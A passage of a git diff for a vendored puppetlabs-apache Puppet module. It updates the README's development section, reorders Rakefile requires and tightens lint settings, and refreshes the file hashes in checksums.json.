## Development ### Contributing -[Puppet Labs][] modules on the [Puppet Forge][] are open projects, and community contributions are essential for keeping them great. We can’t access the huge number of platforms and myriad hardware, software, and deployment configurations that Puppet is intended to serve. +[Puppet][] modules on the [Puppet Forge][] are open projects, and community contributions are essential for keeping them great. We can’t access the huge number of platforms and myriad hardware, software, and deployment configurations that Puppet is intended to serve. We want to make it as easy as possible to contribute changes so our modules work in your environment, but we also need contributors to follow a few guidelines to help us maintain and improve the modules' quality. For more information, please read the complete [module contribution guide][]. -### Running tests +### Testing This project contains tests for both [rspec-puppet][] and [beaker-rspec][] to verify functionality. For detailed information on using these tools, please see their respective documentation. diff --git a/modules/services/unix/http/apache/Rakefile b/modules/services/unix/http/apache/Rakefile index f4c70b8d3..3994519d9 100644 --- a/modules/services/unix/http/apache/Rakefile +++ b/modules/services/unix/http/apache/Rakefile @@ -1,10 +1,9 @@ -require 'puppet_blacksmith/rake_tasks' -require 'puppet-lint/tasks/puppet-lint' require 'puppetlabs_spec_helper/rake_tasks' +require 'puppet-lint/tasks/puppet-lint' +require 'puppet_blacksmith/rake_tasks' if Bundler.rubygems.find_name('puppet-blacksmith').any? +PuppetLint.configuration.fail_on_warnings = true PuppetLint.configuration.send('relative') -PuppetLint.configuration.send('disable_documentation') -PuppetLint.configuration.send('disable_single_quote_string_with_variables') PuppetLint.configuration.send('disable_only_variable_string') desc 'Generate pooler nodesets' diff --git a/modules/services/unix/http/apache/checksums.json b/modules/services/unix/http/apache/checksums.json index 076f70319..c52d59c2a 100644 --- a/modules/services/unix/http/apache/checksums.json +++ b/modules/services/unix/http/apache/checksums.json @@ -1,11 +1,12 @@ { - "CHANGELOG.md": "3cf646fb26cf26763a7cfb5aad950d1a", - "CONTRIBUTING.md": "b78f71c1104f00538d50ad2775f58e95", - "Gemfile": "8229b2c0196b32a14403f99450c801af", + "CHANGELOG.md": "d5da65931d19f0aabf13a428dc56bc0c", + "CONTRIBUTING.md": "77d0440d7cd4206497f99065c60bed46", + "Gemfile": "bedf635025b279d7c7732adcc8ae9a29", "LICENSE": "3b83ef96387f14655fc854ddc3c6bd57", - "NOTICE": "b7f979f1e3cd132677e1cd7762547e6b", - "README.md": "320bd7f9fb5e88b097805076c39b6b02", - "Rakefile": "3a104cbf874d68f98be0c43522d54a27", + "MAINTAINERS.md": "6508b1d302b38186425992a66186c060", + "NOTICE": "b7760cf49f58b80b31df83244cc0fbd0", + "README.md": "b9a192cdc9ddecd060bc011a76df4b81", + "Rakefile": "a49b6653243c678ed33c8870db467d89", "examples/apache.pp": "41e97262421ea5734fac16a338701a78", "examples/dev.pp": "8da0d50d9d06834dd06329b8945f06d5", "examples/init.pp": "d27415f33028c26d4031d30305eec5e0", @@ -13,7 +14,7 @@ "examples/mods.pp": "78a25c9e226265353eabefd3ddfd4218", "examples/mods_custom.pp": "bc9e6959c282984cf9cdd93869c89499", "examples/php.pp": "afa0871b94040e3ae91fce9c375fb725", - "examples/vhost.pp": "2e9880fd36401c2f0b083054e7c69f3c", + "examples/vhost.pp": "27d808964b43d157de5ce8f47b441b46", "examples/vhost_directories.pp": "95aa446a2fccf9f3561581a5d71c61a7", "examples/vhost_filter.pp": "62c5af7868af9887b7d71769c319c1e5", "examples/vhost_ip_based.pp": "7a4d4c1c00147c45e4534f58d2fbf4ed", @@ -23,7 +24,6 @@ "files/httpd": "295f5e924afe6f752d29327e73fe6d0a", "lib/facter/apache_version.rb": "babb22b1d567021995b4b5fa9328047b", "lib/puppet/parser/functions/bool2httpd.rb": "05d5deeb6e0c31acee7c55b249ec8e06", - "lib/puppet/parser/functions/enclose_ipv6.rb": "581bc163291824909d1700909db96512", "lib/puppet/parser/functions/validate_apache_log_level.rb": "d75bc4ef17ff5c9a1f94dd3948e733d1", "lib/puppet/provider/a2mod/a2mod.rb": "d986d8e8373f3f31c97359381c180628", "lib/puppet/provider/a2mod/gentoo.rb": "2492d446adbb68f678e86a75eb7ff3bd", @@ -31,47 +31,50 @@ "lib/puppet/provider/a2mod/redhat.rb": "c39b80e75e7d0666def31c2a6cdedb0b", "lib/puppet/provider/a2mod.rb": "03ed73d680787dd126ea37a03be0b236", "lib/puppet/type/a2mod.rb": "9042ccc045bfeecca28bebb834114f05", + "locales/config.yaml": "ca04e502d031649d4aaa40d1803ade8b", + "locales/puppetlabs-apache.pot": "4bd09a821333cf6c272a64e944ef4e01", "manifests/balancer.pp": "b444ff1415ba0bd6c8ec1497bcc9cfb3", "manifests/balancermember.pp": "d74ab23d74fa198853b13ad837df925c", "manifests/confd/no_accf.pp": "406d0ca41c3b90f83740ca218dc3f484", - "manifests/custom_config.pp": "c5df4d455ff918f39e6341784457bca9", + "manifests/custom_config.pp": "357badc11586c8bb726f2a36364c0932", "manifests/default_confd_files.pp": "86fdbe5773abb7c2da26db096973865c", "manifests/default_mods/load.pp": "bc0b3b65edd1ba6178c09672352f9bce", "manifests/default_mods.pp": "e4a7aa787443fce2e76c37e8fec99012", "manifests/dev.pp": "8a7ead42f991e5dfdd364ba1aa1304e0", "manifests/fastcgi/server.pp": "f177293f02a2878b43a863e8ab3015db", - "manifests/init.pp": "e76413e0c82c2ae13b658bcd97f31c5a", + "manifests/init.pp": "5d0b9eccf800e4c0b293bed68571c4ec", "manifests/listen.pp": "6e44a9f49376cefb5694d52be5bc5a88", "manifests/mod/actions.pp": "ec2a5d1cf54790204750f9b67938d230", "manifests/mod/alias.pp": "1ef0d98a941bd796d428297b74acc8c4", "manifests/mod/auth_basic.pp": "dffef6ff10145393cb78fcaa27220c53", - "manifests/mod/auth_cas.pp": "73dcf3f9ba2421a271f6c21bcae2fcbb", + "manifests/mod/auth_cas.pp": "f2e61e67393a998a19f8b34506e07e0d", "manifests/mod/auth_kerb.pp": "8759cab3dc12d6ba4cc12fcdbb699418", "manifests/mod/auth_mellon.pp": "5bfbc604dd79923bdb65ecab02353059", "manifests/mod/authn_core.pp": "4db773ddbc0d875230085782d4521951", "manifests/mod/authn_dbd.pp": "8f03863a483184ca53b9bc3a45b2297f", "manifests/mod/authn_file.pp": "eeb11513490beee901574746faaeabdf", - "manifests/mod/authnz_ldap.pp": "41b00baeb26144b889f4f0be4601dae5", + "manifests/mod/authnz_ldap.pp": "5fb4b52f54daf03358e08cde676ea4fc", + "manifests/mod/authnz_pam.pp": "9f99d93e289a2db42c74046c8ae1889f", "manifests/mod/authz_default.pp": "b7c94cfa4e008155fffd241d35834064", "manifests/mod/authz_user.pp": "d446c90c44304594206bd2a0112be625", "manifests/mod/autoindex.pp": "3b50dc082dba420c3d564309601fd419", "manifests/mod/cache.pp": "b56d68b9401ba3e02a1f2fe55cdfbcca", - "manifests/mod/cgi.pp": "32d6da37e010b5abe19b1a3be87a6d44", + "manifests/mod/cgi.pp": "731ed7bce75628afeb78afd3fa2fd793", "manifests/mod/cgid.pp": "fb9ae9b5012d41e22cb85c0b50e17361", - "manifests/mod/cluster.pp": "3d86d95713aea6107ff9e056d1b1698f", + "manifests/mod/cluster.pp": "8b67026e9a6a4bdc6a2481613896ded1", "manifests/mod/dav.pp": "9df80d36dd609be9032a8260aa9d10c1", "manifests/mod/dav_fs.pp": "9ad2359d64b0b6f219bd8a338917d114", "manifests/mod/dav_svn.pp": "abc1ba954033b0b0187c079f310eb0e2", "manifests/mod/dbd.pp": "4471dbd9fd67d0db885d4ba2a47a194a", "manifests/mod/deflate.pp": "20231a22aba12eb905f1d7f1853e383e", "manifests/mod/dev.pp": "42673bab60b6fc0f3aa6e2357ec0a27c", - "manifests/mod/dir.pp": "c7327a2a0ff02bdab2f5421359d6f300", + "manifests/mod/dir.pp": "75039bc8c77b9b82fa12fc5aa1061291", "manifests/mod/disk_cache.pp": "da18cbefced9bb32fc009e999c5b76e2", - "manifests/mod/dumpio.pp": "755f6072ef3130fa670022f26da7e429", + "manifests/mod/dumpio.pp": "5492a7249450a7fdf335ecb0c3b948f4", "manifests/mod/env.pp": "2a0321180a59161565b2b5f1b79d6b15", "manifests/mod/event.pp": "a82a7ab979cc351eb660576bdc91d0e8", "manifests/mod/expires.pp": "6f12edcf6863958af832db73b56e5f08", - "manifests/mod/ext_filter.pp": "df12ff3935ffa64f32bf897e433fc0ce", + "manifests/mod/ext_filter.pp": "287966c2c0fd450c72a1c9ef88a0e155", "manifests/mod/fastcgi.pp": "96a3fcf0508a7eb8c9601eac329622eb", "manifests/mod/fcgid.pp": "96e0a5f09c2d1ba21b2209a6e21b6847", "manifests/mod/filter.pp": "b0039f3ae932b1204994ef2180dd76d2", @@ -79,24 +82,26 @@ "manifests/mod/headers.pp": "ef3de538a0a4c9406236faf43eb89710", "manifests/mod/include.pp": "a3b66eda88e38d90825c16b834bacd8d", "manifests/mod/info.pp": "c3e815ed9912bb9147805f7274508489", + "manifests/mod/intercept_form_submit.pp": "b3e55433272082bac1e7a5334df3b01f", "manifests/mod/itk.pp": "f631157ebdff68b6fc2bb6dbd5b8e8c4", - "manifests/mod/ldap.pp": "3fdd5ed6f1db898fc2499ed0ece0abe1", + "manifests/mod/ldap.pp": "319e62a24e30221e691b9cf85a6288e1", + "manifests/mod/lookup_identity.pp": "a3fd01d395ea09ec1488494fd077dd7b", "manifests/mod/mime.pp": "24fe99c65367a3f606441605a2ff26dd", "manifests/mod/mime_magic.pp": "d31702cee9007c2e65c8d3ccbed1fda3", "manifests/mod/negotiation.pp": "35fb1e9fa643054271804e215bb47299", "manifests/mod/nss.pp": "3cc69b59bba579181b0ceb1dfd2976d0", "manifests/mod/pagespeed.pp": "1fcf4c30084bd1e4fa3006b4d3265c1a", - "manifests/mod/passenger.pp": "55c68abd56d7838bbd6d9cb48bc941bb", + "manifests/mod/passenger.pp": "f1a4609f61e30fc839ad7f4b668a750b", "manifests/mod/perl.pp": "b8180ca0e1e7f8d60030321f52c28d6d", "manifests/mod/peruser.pp": "13761222709094653bca7bad4435fcdb", - "manifests/mod/php.pp": "64737f2ea2ad8532aaf515b713e9cac7", + "manifests/mod/php.pp": "b6d383242b3c52a2543f8f477ff308a0", "manifests/mod/prefork.pp": "3deff89f43a1f55dda643ac66e3fc4dc", "manifests/mod/proxy.pp": "a65065f0c7705b7b75b1dd6fc2222e27", "manifests/mod/proxy_ajp.pp": "073e2406aea7822750d4c21f02d8ac80", - "manifests/mod/proxy_balancer.pp": "a13221d222df646e84910cabd2902dee", + "manifests/mod/proxy_balancer.pp": "c717e51517043084854b26c89d7b99d9", "manifests/mod/proxy_connect.pp": "7cd9b4b61ec6feb020f753ee74910a48", "manifests/mod/proxy_fcgi.pp": "8c7fd559419b159e27218a17463d850d", - "manifests/mod/proxy_html.pp": "5ce01879add843832f756962dceec845", + "manifests/mod/proxy_html.pp": "aa012e927e20d3f7734fdc026491fd20", "manifests/mod/proxy_http.pp": "0db1b26f8b4036b0d46ba86b7eaac561", "manifests/mod/proxy_wstunnel.pp": "88ee88d6d56a70f0000e690f80f64acb", "manifests/mod/python.pp": "6f65b22271cf356832fe7a1949163861", @@ -104,53 +109,53 @@ "manifests/mod/reqtimeout.pp": "17b245b5d14f3f7b8c1d5fa07e5c159e", "manifests/mod/rewrite.pp": "292f2d6ce2078fa9df7f686105ea7b95", "manifests/mod/rpaf.pp": "54991f51a06e2b4171956e6ce1caf3a3", - "manifests/mod/security.pp": "eaae214a25fcfa9fc9e4db4d2b88a37d", + "manifests/mod/security.pp": "b5ed320cbcce30b79557dd38941d339b", "manifests/mod/setenvif.pp": "fa3b3e5f3a7e029f9db5b66ae499c6c8", "manifests/mod/shib.pp": "8b75f8818fe9dc5728a478fc27962447", "manifests/mod/socache_shmcb.pp": "c94ae23ab8cce744acad2f7e33dbfa9c", "manifests/mod/speling.pp": "b6971e10caf22837e410b94910b66b1a", - "manifests/mod/ssl.pp": "a6c6ed342ef96db622671ed99ae0fe0d", - "manifests/mod/status.pp": "2e54208b8e669a7768b8bc4c2ca216a1", + "manifests/mod/ssl.pp": "ed4255fa17a174ce02fd8eef399c0ae1", + "manifests/mod/status.pp": "75d19ef4dde3529359d080c6607926f0", "manifests/mod/suexec.pp": "2a8671856a0ece597e9b57867dc35e76", "manifests/mod/suphp.pp": "5a7390ef0a0ceaa2d7e684bcb6300587", - "manifests/mod/userdir.pp": "bb20504fc72d66b8cf80bb270db7bb66", + "manifests/mod/userdir.pp": "8cce2ae6536eab6b809c63cb6ed59c55", "manifests/mod/version.pp": "6cb31057ebffa796f95642cc95f9499d", "manifests/mod/vhost_alias.pp": "ee1225a748daaf50aca39a6d93fb8470", "manifests/mod/worker.pp": "41137580c48b89f2795c1295d87962c0", - "manifests/mod/wsgi.pp": "186a34169367a2e64af4faf3036e3af3", + "manifests/mod/wsgi.pp": "adcaac9e490512a58d0e6070904c85d2", "manifests/mod/xsendfile.pp": "fba06f05a19c466654aca5ecaa705bf0", - "manifests/mod.pp": "0986292ef7477c30f6d07209f0591bdf", + "manifests/mod.pp": "405f340daea9c50913904818ca4041d7", "manifests/mpm.pp": "d4bfe77df34110cb253557104b2e6310", "manifests/namevirtualhost.pp": "5ad54a441ff26a55cc536069d8fad238", "manifests/package.pp": "ebd1e1e815ef744ebd4e9d8a6c94a07a", - "manifests/params.pp": "42d971519adb39970cf87f33180b1f5d", + "manifests/params.pp": "605e33b78b4eb131ac9e9bad335ce88f", "manifests/peruser/multiplexer.pp": "0ea75341b7a93e55bcfb431a93b1a6c9", "manifests/peruser/processor.pp": "62f0ad5ed2ec36dadc7f40ad2a9e1bb9", "manifests/php.pp": "9c9d07e12bf5d112b0b54f5bd69046fc", "manifests/proxy.pp": "7c8515b88406922e148322ee15044b29", "manifests/python.pp": "ddef4cd73850fdc2dc126d4579c30adf", "manifests/security/rule_link.pp": "9c879ecfd7534347ccc8cf3ea77fa859", - "manifests/service.pp": "8e51ebf5af2e943030aec043face1bac", + "manifests/service.pp": "9984fd2cfd49cea0b8db61f7cc3c1c4b", "manifests/ssl.pp": "173f3d6a7fd2b5f4100c4ff03d84e13b", "manifests/version.pp": "3388b1978b04cba63ed7fc8e2ec3f692", "manifests/vhost/custom.pp": "421081f6c4f33e1aca07ff789e53345e", - "manifests/vhost.pp": "da0c608533e3010de53a42a09748c633", + "manifests/vhost.pp": "707b86ad96804fed2413ef6366ac43b4", "manifests/vhosts.pp": "d5cd9e6b701b7b2948c011546bc55497", - "metadata.json": "0090c6941acc9416730e7a48d0f6b231", - "spec/acceptance/apache_parameters_spec.rb": "5b95e67d474cc8a132c45f6e91714037", + "metadata.json": "f9025597336b7ffb8631e1c5949985ae", + "spec/acceptance/apache_parameters_spec.rb": "d8d8f53c76a65558f189a33ef063976a", "spec/acceptance/apache_ssl_spec.rb": "9cddf1b1b3a4ed2fe971fabe8785e9ed", "spec/acceptance/class_spec.rb": "9d77ee23b734dd48ecea4353dee3d616", "spec/acceptance/custom_config_spec.rb": "61e03d814d0671d194dd40e6b1ad5c9b", - "spec/acceptance/default_mods_spec.rb": "5d2bf768511d2fb34bd7057801d0fc4e", + "spec/acceptance/default_mods_spec.rb": "2481bfa99dd34e15f2b4c7eed194635f", "spec/acceptance/itk_spec.rb": "812c855013c08ebb13e642dc5199b41a", "spec/acceptance/mod_dav_svn_spec.rb": "e792a6d585026dd7bded38e62c8786f6", "spec/acceptance/mod_deflate_spec.rb": "dd39bfb069e0233bf134caaeb1dc6fe6", "spec/acceptance/mod_fcgid_spec.rb": "ef0e3368ea14247c05ff43217b5856ee", "spec/acceptance/mod_mime_spec.rb": "0869792d98c1b2577f02d97c92f1765e", "spec/acceptance/mod_negotiation_spec.rb": "017f6b0cc1496c25aa9b8a33ef8dbbb3", - "spec/acceptance/mod_pagespeed_spec.rb": "7d7732a41eae79bd6b816bb1e165a530", + "spec/acceptance/mod_pagespeed_spec.rb": "23256a41b700fc92a96edf34a16be499", "spec/acceptance/mod_passenger_spec.rb": "a66264ef73ad6c5396a06ab9b5444c7c", - "spec/acceptance/mod_php_spec.rb": "81218711d2e27b24e36a99eab74ccf19", + "spec/acceptance/mod_php_spec.rb": "98bc1ff97a36de86d5a1b800b2afd7a6", "spec/acceptance/mod_proxy_html_spec.rb": "34478fc2f12a23cd5a95d424f85da150", "spec/acceptance/mod_security_spec.rb": "c783d44cf3ccba2fa6a3c14de0e486a0", "spec/acceptance/mod_suphp_spec.rb": "f5c1f21e4c5323b81afc354c82e7ceb9", @@ -164,16 +169,17 @@ "spec/acceptance/prefork_worker_spec.rb": "1570eefe61d667a1b43824adc0b2bb78", "spec/acceptance/service_spec.rb": "341f157cb33fa48d5166d2274ad3bc65", "spec/acceptance/version.rb": "6a1f2db3e369f3dc2b5bd76f4921891a", - "spec/acceptance/vhost_spec.rb": "69a14b4e593fa9ecfdccda1ab23b453a", + "spec/acceptance/vhost_spec.rb": "ac0e99a6dfbe8faa2837bf2356fdda7d", "spec/acceptance/vhosts_spec.rb": "c9635037681d569a053da6eb7ae5f4f4", - "spec/classes/apache_spec.rb": "fe0d844ef6cb3bad10e2d935ea16e737", + "spec/classes/apache_spec.rb": "c75f9bf2fedf99c4d478536d3786223c", "spec/classes/dev_spec.rb": "6bc9ff7cffb77aac52c5bd3acc157d2d", "spec/classes/mod/alias_spec.rb": "e62706d9925b0dc1821db78d01986a7e", "spec/classes/mod/auth_cas_spec.rb": "46a7ba3fe31d3fc6175b8dce5105326e", - "spec/classes/mod/auth_kerb_spec.rb": "a32949cf0f8f93786b58589b102b1fe0", + "spec/classes/mod/auth_kerb_spec.rb": "d281ff13b8989d759bd7fcdb599a882a", "spec/classes/mod/auth_mellon_spec.rb": "81d3ea4b7567718ca810b625fd36d231", "spec/classes/mod/authn_dbd_spec.rb": "8c794faaa5244e16f432c76679cb12d7", "spec/classes/mod/authnz_ldap_spec.rb": "bef6980f85489c5fd7388511cb65b644", + "spec/classes/mod/authnz_pam_spec.rb": "71759e9ab2dd8aeefeb4d79e3349e67e", "spec/classes/mod/cluster_spec.rb": "c1d01cc4a4f9ce10d692294019791e2f", "spec/classes/mod/dav_svn_spec.rb": "6b3c4123a067e249f6c78c5b0cbcbcc7", "spec/classes/mod/deflate_spec.rb": "adf6e41357fefe4ff1128e8fea4d3057", @@ -187,13 +193,15 @@ "spec/classes/mod/fastcgi_spec.rb": "59f7ea857b0fa614e8808270c529300f", "spec/classes/mod/fcgid_spec.rb": "bda06cc347a8da8d7c7374add2654248", "spec/classes/mod/info_spec.rb": "d51c6a9e6ae4d944488a43c8c15b95c0", + "spec/classes/mod/intercept_form_submit_spec.rb": "2e7087360a57f6ccf88b80239ca5056e", "spec/classes/mod/itk_spec.rb": "622f23a1346383846cbc98e38388034d", "spec/classes/mod/ldap_spec.rb": "12863d495558fbe9f6cb7a50ab37688c", + "spec/classes/mod/lookup_identity.rb": "97997c0a2e7a1b717426b5845df604ee", "spec/classes/mod/mime_magic_spec.rb": "259304a80e92e4ba15e7cd719fe25c17", "spec/classes/mod/mime_spec.rb": "d946fb96659b67bf7117ad7ed4b25cce", "spec/classes/mod/negotiation_spec.rb": "44d50f7e6ef8c6388baa4c7cfc07be43", "spec/classes/mod/pagespeed_spec.rb": "56bd7d82920cb734ea8139c9fed97de7", - "spec/classes/mod/passenger_spec.rb": "a7cb67b8f93b462dc9a1bf29ad7f2436", + "spec/classes/mod/passenger_spec.rb": "e8daaeafddd8b8ac33800c04a93b5c03", "spec/classes/mod/perl_spec.rb": "1daa227f563ac19ff8dcdea0d0005ec4", "spec/classes/mod/peruser_spec.rb": "c379ce85a997789856b12c27957bf994", "spec/classes/mod/php_spec.rb": "2cc1a1d5d097be26eef3139b4e8eafaf", @@ -206,48 +214,49 @@ "spec/classes/mod/remoteip_spec.rb": "f9bf0bc64fef6d570f7b798ceef0d598", "spec/classes/mod/reqtimeout_spec.rb": "2af2919e8253100fbc2e001d30a5cd15", "spec/classes/mod/rpaf_spec.rb": "5c4725a4bcab9339d7309765390aaed1", - "spec/classes/mod/security_spec.rb": "adabc64a0a847c9f448c3282a4de1b94", + "spec/classes/mod/security_spec.rb": "f2e41f16ff5e8aa8f4709cab68a7cf5e", "spec/classes/mod/shib_spec.rb": "b4ec345e387f8d7186048f5d286bb71d", "spec/classes/mod/speling_spec.rb": "96919b9fbd1e894fcfd649044c3dafb5", - "spec/classes/mod/ssl_spec.rb": "54219eac9b409a833a57ecfdce66a196", + "spec/classes/mod/ssl_spec.rb": "9c9fe05b815405d4e7fbb095e01d7d2a", "spec/classes/mod/status_spec.rb": "1eeaf906baf6ca82bf24c4e23494c71c", "spec/classes/mod/suphp_spec.rb": "cc7c02c42e985aa133f9d868e14d9435", + "spec/classes/mod/userdir_spec.rb": "648ab42ba4113b31712ecf8d9ec485e0", "spec/classes/mod/worker_spec.rb": "c326e36fbcfe9f0c59dc1db389a33926", - "spec/classes/mod/wsgi_spec.rb": "5c76026d8f08ac7d17d7b34f089979a3", + "spec/classes/mod/wsgi_spec.rb": "902251d74d6d3c821f460b620158295b", "spec/classes/params_spec.rb": "adbd9f0dee677ea9439b9ce0d620894f", - "spec/classes/service_spec.rb": "d23f6cd3eac018e368e0ba32cbf95f11", + "spec/classes/service_spec.rb": "0709833b94c1a3fbd13b73042fa84967", "spec/classes/vhosts_spec.rb": "9baf23eb534e944a1bd593e72dd3050e", "spec/defines/balancer_spec.rb": "8793815eb22b5190977b154fcd97e85e", "spec/defines/balancermember_spec.rb": "e93ded8b51cc1d73e52f453880b3576e", - "spec/defines/custom_config_spec.rb": "a7e3392933cabc8ed6bb57deaebb36d9", + "spec/defines/custom_config_spec.rb": "cd4ee6803b79a844442107ac385cc833", "spec/defines/fastcgi_server_spec.rb": "8e167c1525cb9a7473efdde01efe0ca3", "spec/defines/mod_spec.rb": "a10e5b2570419737c03cd0f6347cc985", "spec/defines/modsec_link_spec.rb": "3421b21f8234637dd1c32ebcf89e44c3", "spec/defines/vhost_custom_spec.rb": "d5596a7a0c239d4c0ed8bebbb6a124ab", - "spec/defines/vhost_spec.rb": "b9fc940b93fa4bde6e6d1ce1ef91d234", + "spec/defines/vhost_spec.rb": "b338a9fe8d5bd1f2002025905c2c4a74", "spec/fixtures/files/negotiation.conf": "9c11872e26327ec880749b5dfdea25d6", "spec/fixtures/files/spec": "e964ecac35c35baa9b4c57dac4ff5b3e", + "spec/fixtures/site_apache/templates/fake.conf.erb": "6b0431dd0b9a0bf803eb0684300c2cff", "spec/fixtures/templates/negotiation.conf.erb": "c838e612ce6f82a5efd12871ad562011", "spec/spec_helper.rb": "b2db3bc02b4ac2fd5142a6621c641b07", - "spec/spec_helper_acceptance.rb": "bd3dc8d42f3774c2c5cea26df7488b07", + "spec/spec_helper_acceptance.rb": "97b5d5677a368ac97cdc3ae2ab5e204f", "spec/spec_helper_local.rb": "1b6ccd9b2f6946b81560239881774e94", "spec/unit/apache_version_spec.rb": "c9d7b8ab46fb21d370702f02088281a2", "spec/unit/provider/a2mod/gentoo_spec.rb": "02f7510cbf4945c5e1094ebcb967c8e0", "spec/unit/puppet/parser/functions/bool2httpd_spec.rb": "0c9bca53eb43b5fc888126514b2a174c", - "spec/unit/puppet/parser/functions/enclose_ipv6_spec.rb": "0145a78254ea716e5e7600d9464318a8", "spec/unit/puppet/parser/functions/validate_apache_log_level.rb": "8f558fd81d1655e9ab20896152eca512", "templates/confd/no-accf.conf.erb": "a614f28c4b54370e4fa88403dfe93eb0", "templates/fastcgi/server.erb": "30cdd04393bdb4f68678d00e2930721b", - "templates/httpd.conf.erb": "5a8eacfe858789a1e2059cd0452b6b01", + "templates/httpd.conf.erb": "3667dc46bedcfd2b79f82570b1063623", "templates/listen.erb": "6286aa08f9e28caee54b1e1ee031b9d6", "templates/mod/alias.conf.erb": "370e9d394dd462d3ebc0dd345ab68f6f", "templates/mod/auth_cas.conf.erb": "35e1291a5fa05067d7623c02bafb0ada", "templates/mod/auth_mellon.conf.erb": "4e17d22a8f1bc312e976e8513199c945", "templates/mod/authn_dbd.conf.erb": "7a84f5d3b3a4b92a88fe052b13376f8e", - "templates/mod/authnz_ldap.conf.erb": "d648a09c5625a7da5715f03526f2fefd", + "templates/mod/authnz_ldap.conf.erb": "2262e6d90ae81f2b732bbf0163006c59", "templates/mod/autoindex.conf.erb": "2421a3c6df32c7e38c2a7a22afdf5728", "templates/mod/cgid.conf.erb": "f8ce27d60bc495bab16de2696ebb2fd0", - "templates/mod/cluster.conf.erb": "1b12d0b30352527474986eba1973b9b1", + "templates/mod/cluster.conf.erb": "9e92178f1d45193868e41e7fe1a06976", "templates/mod/dav_fs.conf.erb": "10c1131168e35319e22b3fbfe51aebfd", "templates/mod/deflate.conf.erb": "e866ecf2bfe8e42ea984267f569723db", "templates/mod/dir.conf.erb": "2485da78a2506c14bf51dde38dd03360", @@ -275,19 +284,19 @@ "templates/mod/prefork.conf.erb": "f9ec5a7eaea78a19b04fa69f8acd8a84", "templates/mod/proxy.conf.erb": "33a6a57edd324ba56e879a7b077ecf08", "templates/mod/proxy_balancer.conf.erb": "a9f8d51a2a7169e5fd0c8415a3f9c662", - "templates/mod/proxy_html.conf.erb": "69c9ce9b7f24e1337065f1ce26b057a0", + "templates/mod/proxy_html.conf.erb": "1236e21e77bcc077dd71dbef98c911c7", "templates/mod/remoteip.conf.erb": "ad58e174410e3ff46ff93d4ad1e7b8a0", "templates/mod/reqtimeout.conf.erb": "314ef068b786ae5afded290a8b6eab15", "templates/mod/rpaf.conf.erb": "5447539c083ae54f3a9e93c1ac8c988b", "templates/mod/security.conf.erb": "e309716298ed8709df5496c27d47fe36", "templates/mod/security_crs.conf.erb": "5c7bc134c0675d75b66a5c8faaf11eb6", "templates/mod/setenvif.conf.erb": "c7ede4173da1915b7ec088201f030c28", - "templates/mod/ssl.conf.erb": "6f9557964b967bb6715d1f19f266367a", + "templates/mod/ssl.conf.erb": "f88b0d03bbbc9b0773475434a2ef0f93", "templates/mod/status.conf.erb": "574ecc6f74e8b75d84710a44c4260210", "templates/mod/suphp.conf.erb": "05bb7b3ea23976b032ce405bfd4edd18", - "templates/mod/userdir.conf.erb": "b555d16697b030d34ad18d41d4084c4c", + "templates/mod/userdir.conf.erb": "5d0185dc69bc30849bc1a2f63f652b74", "templates/mod/worker.conf.erb": "dc4c7049af7312f5e82b3e72e8fccdfd", - "templates/mod/wsgi.conf.erb": "9a416fa3b71be0795679069809686300", + "templates/mod/wsgi.conf.erb": "ba2ba5a5699889626f4bc7f5604070b0", "templates/namevirtualhost.erb": "fbfca19a639e18e6c477e191344ac8ae", "templates/ports_header.erb": "afe35cb5747574b700ebaa0f0b3a626e", "templates/vhost/_access_log.erb": "522414033856b19a50a7ebb1c729438a", @@ -300,7 +309,7 @@ "templates/vhost/_block.erb": "8fa2f970222dbc0a38898b5a0ab80411", "templates/vhost/_charsets.erb": "d152b6a7815e9edc0fe9bf9acbe2f1ec", "templates/vhost/_custom_fragment.erb": "325ff48cefc06db035daa3491c391a88", - "templates/vhost/_directories.erb": "f981420e239cc4a615ccb9a7852b37f4", + "templates/vhost/_directories.erb": "cb400adc888ef3632e155b700c2117aa", "templates/vhost/_docroot.erb": "65d882a3c9d6b6bdd2f9b771f378035a", "templates/vhost/_error_document.erb": "81d3007c1301a5c5f244c082cfee9de2", "templates/vhost/_fallbackresource.erb": "e6c103bee7f6f76b10f244fc9fd1cd3b", @@ -309,11 +318,12 @@ "templates/vhost/_file_header.erb": "7c3c04eb4ac67403604113e2628696cf", "templates/vhost/_filters.erb": "597b9de5ae210af9182a1c95172115e7", "templates/vhost/_header.erb": "9eb9d4075f288183d8224ddec5b2f126", + "templates/vhost/_http_protocol_options.erb": "9df9dec592fdb8fb4ab4abf7227cef9c", "templates/vhost/_itk.erb": "8bf90b9855a9277f7a665b10f6c57fe9", "templates/vhost/_jk_mounts.erb": "ce997ee7b5602af04062cd5f785da345", "templates/vhost/_keepalive_options.erb": "16876858bac1e55b13545866b0428d90", "templates/vhost/_logging.erb": "5bc4cbb1bc8a292acc0ba0420f96ca4e", - "templates/vhost/_passenger.erb": "54089ef42f49bf8285d2d5ccdcba0699", + "templates/vhost/_passenger.erb": "2c720e3c849f81898be5f3822a3f67be", "templates/vhost/_passenger_base_uris.erb": "c8d7f4da1434078e856c72671942dcd8", "templates/vhost/_php.erb": "a16a9f3e146ce463481205e083d4bf79", "templates/vhost/_php_admin.erb": "107a57e9e7b3f86d1abcf743f672a292", @@ -321,7 +331,7 @@ "templates/vhost/_rack.erb": "ebe187c1bdc81eec9c8e0d9026120b18", "templates/vhost/_redirect.erb": "2d40ece74203cc00b861a058db91962c", "templates/vhost/_requestheader.erb": "db1b0cdda069ae809b5b83b0871ef991", - "templates/vhost/_require.erb": "8a90d4c632b65ae1d89c66220f73ee80", + "templates/vhost/_require.erb": "932106f2c9ea604bba4ace78d22bdfee", "templates/vhost/_rewrite.erb": "b7858eac95352744196006b57d4091df", "templates/vhost/_scriptalias.erb": "98713f33cca15b22c749bd35ea9a7b41", "templates/vhost/_security.erb": "0ade536a9d25342e7128996add04be56", @@ -329,8 +339,8 @@ "templates/vhost/_serversignature.erb": "9bf5a458783ab459e5043e1cdf671fa7", "templates/vhost/_setenv.erb": "6e6a7efb1b168da9673c9e6d00eadec5", "templates/vhost/_ssl.erb": "788b293b65736aead0007fe3bc52448b", - "templates/vhost/_sslproxy.erb": "c327d73e1669bde19a64e53109d4b57e", + "templates/vhost/_sslproxy.erb": "8ab477ac3aa325e46f07b3fbf188303f", "templates/vhost/_suexec.erb": "f2b3f9b9ff8fbac4e468e02cd824675a", "templates/vhost/_suphp.erb": "a1c4a5e4461adbfce870df0abd158b59", - "templates/vhost/_wsgi.erb": "8ae86dff3014767479a71441b0e6536e" + "templates/vhost/_wsgi.erb": "7939532279d7655896ce1a5942116ca7" } \ No newline at end of file diff --git a/modules/services/unix/http/apache/examples/vhost.pp 